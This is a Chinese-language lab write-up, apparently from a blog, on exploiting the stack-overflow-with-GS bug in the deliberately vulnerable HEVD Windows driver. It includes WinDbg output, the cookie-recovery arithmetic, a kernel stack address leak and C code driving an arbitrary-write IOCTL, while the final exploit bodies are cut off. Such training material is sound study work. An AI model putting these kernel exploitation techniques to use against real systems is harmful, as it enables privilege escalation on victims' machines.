HEVD中的栈溢出加上GS保护
还有一个知识点就是windows内核栈地址泄露
函数功能
在上三篇中讲的很清楚了,这里我关闭了KVAS
又是一段经典的栈溢出,但是有了内核的GS保护
编写exploit
这里就不得不提到Windows中一种Cannary的绕过方式了,通过try except的Handler进行绕过,很遗憾handler只在32位程序中才保存在栈上
查阅资料
https://paper.seebug.org/2017/#22
https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.html
cookie值是存储在_data
段的第一个
函数检查的部分,有一个异或
1 | 1: kd> dqs rsp |
-
利用之前的
ulGetBase
得到HEVD.sys
的基地址1
2
30: kd> dqs 0xfffff80522fe0000+3000
fffff805`22fe3000 00006fd9`604347b3
fffff805`22fe3008 ffff9026`9fbcb84c再下断点看看是不是为这个值
1
2
3
4
5
60: kd> g
Breakpoint 0 hit
HEVD!TriggerBufferOverflowStackGS+0x1b:
fffff805`230666fb 4833c4 xor rax,rsp
1: kd> r rax
rax=00006fd9604347b3还真是,那么访问
base+3000
就可以得cookie
值 -
如何读取?这个还真没办法,只能利用另外一个漏洞
HEVD_IOCTL_ARBITRARY_WRITE
,将该值修改为我们自己的值,也可以设置Ring3ToKernel
中的一个地址的值为待写入的地方,然后利用这个漏洞将cookie
写入 -
key
值位于rsp
上,利用NtQuerySystemInformation
中的PSYSTEM_EXTENDED_PROCESS_INFORMATION
可以得到,但是后面又看不了了,这个时候我想了下,一个exp可以看到另外一个exp的栈地址,但是查看自身的时候已经不在上面了,或许改为线程执行可以?
就用这种方法试试看
1
2[+] Found Ring3ToKernel.exe
Stack base 0xffffef8360dce000 Stack limit 0xffffef8360dc8000偏移是一个定值,再回忆一下之前的cookie生成算法就能得cookie了
但是有个小问题,合成cookie时,rsp值变化了
考虑到push和sub所以:rsp = stack base - 0x868 - 0x258此实,key值为:0000768c469d2a88,rsp = ffffef83619aa798,
1
2>>> hex(0x0000768c469d2a88^(0xffffef83619aa798-0x258))
'0xffff990f27078fc8'得到cookie值为
0xffff990f27078fc8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18printf("[*] Cookie Address 0x%llx\n",cookie_addr);
printf("[*] Atribute Write GET key value\n");
typedef struct _WRITE_WHAT_WHERE
{
funcaddr* What;
funcaddr* Where;
}arbitrary_write, * pArbitraryWrite;
funcaddr value = 0;
pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
payload->What = (funcaddr*)cookie_addr;
payload->Where = &value;
DWORD size = sizeof(payload);
DWORD info = NULL;
DeviceIoControl(hDevice, 0x22200B,
payload, size,
NULL, 0,
&info, NULL);
printf("[*] Key value 0x%llx\n", value); -
然后就是经典常规栈溢出+ROP打法
1 | void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) { |
微调exploit
-
shellcode得仔细调整rsp值
很简单,和最开的是栈溢出一样,直接一个push两个ret,让rsp+0x28变成了rsp+0x10
-
还有就是泄露内核栈地址的时候得稳定,让其包含当前进程
我的解决方法简单粗暴,多线程和直接加
system("pause");
,重新弄好的方案都能打包成一个函数了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20unsigned long long ulUseStackInfo(wchar_t ProcName[]) {
pStackInfo stackinfo = (pStackInfo)malloc(sizeof(StackInfo));
if (stackinfo == NULL) {
printf("[!] Can't allocate memory\n");
return 0;
}
stackinfo->ModuleName = ProcName;
stackinfo->result = 0;
HANDLE hThread = CreateThread(NULL, 0x100, (LPTHREAD_START_ROUTINE)ulGetStackLimit, stackinfo, NULL, NULL);
if (hThread == NULL) {
printf("[!] Can't get thread\n");
return 0;
}
system("pause");
WaitForSingleObject(hThread, INFINITE);
funcaddr baseaddr = stackinfo->result;
CloseHandle(hThread);
free(stackinfo);
return baseaddr;
}
最终exp
1 | void StackOverflowGS(HANDLE hDevice, unsigned int ioctl) { |